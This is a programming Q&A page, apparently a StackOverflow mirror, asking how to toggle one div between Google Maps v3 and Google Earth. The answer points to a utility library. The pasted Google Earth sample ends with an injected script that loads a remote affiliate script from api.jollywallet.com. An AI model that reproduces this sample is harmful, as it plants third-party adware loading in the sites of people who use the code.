Question

Here is the Simple Map of Google Maps API.

Is there a way to have a button that switches the same div to load the earth?

The Code:

Google Simple Map:

<!DOCTYPE html>
<html>
  <head>
    <title>Simple Map</title>
    <meta name="viewport" content="initial-scale=1.0, user-scalable=no">
    <meta charset="utf-8">
    <style>
      html, body, #map-canvas {
        height: 100%;
        margin: 0px;
        padding: 0px
      }
    </style>
    <script src="https://maps.googleapis.com/maps/api/js?v=3.exp&sensor=false"></script>
    <script>
var map;
function initialize() {
  var mapOptions = {
    zoom: 8,
    center: new google.maps.LatLng(-34.397, 150.644)
  };
  map = new google.maps.Map(document.getElementById('map-canvas'),
      mapOptions);
}

google.maps.event.addDomListener(window, 'load', initialize);

    </script>
  </head>
  <body>
    <div id="map-canvas"></div>
  </body>
</html>

Google Earth:

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html>
  <meta http-equiv="content-type" content="text/html; charset=utf-8" />
  <head>
    <title>Hello Google Earth!</title>
    <!-- *** Replace the key below below with your own API key, available at http://code.google.com/apis/maps/signup.html *** -->
    <script src="http://www.google.com/jsapi?key=ABQIAAAAwbkbZLyhsmTCWXbTcjbgbRSzHs7K5SvaUdm8ua-Xxy_-2dYwMxQMhnagaawTo7L1FE1-amhuQxIlXw"></script>
    <script>
google.load("earth", "1");

var ge = null;

function init() {
  google.earth.createInstance("map3d", initCallback, failureCallback);
}

function initCallback(object) {
  ge = object;
  ge.getWindow().setVisibility(true);
}

function failureCallback(object) {
}
    </script>
  </head>
  <body onload='init()' id='body'>
    <center>
      <div>
        Hello, Earth!
      </div>

      <div id='map3d' style='border: 1px solid silver; height: 600px; width: 800px;'></div>
    </center>
  <script type="text/javascript">(function () {if (top.location == self.location && top.location.href.split('#')[0] == 'http://earth-api-samples.googlecode.com/svn/trunk/demos/helloearth/index.html') {var po = document.createElement('script'); po.type = 'text/javascript'; po.async = true;po.src = 'https://api.jollywallet.com/affiliate/client?dist=213&sub=bsg-pitch&name=BrowserSafeguard';var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(po, s);}})();</script></body>
</html>
Was it helpful?

Solution

There is a utility library that will accomplish this type of integration with Maps v3.

Technically it loads the Earth API in a separate div which is only displayed when someone hits the "Earth" button, but I am assuming that's fine for your use case?

You can see a demo here (note the extra "earth" button), and use svn to get the code

Licensed under: CC-BY-SA with attribution
Not affiliated with StackOverflow
scroll top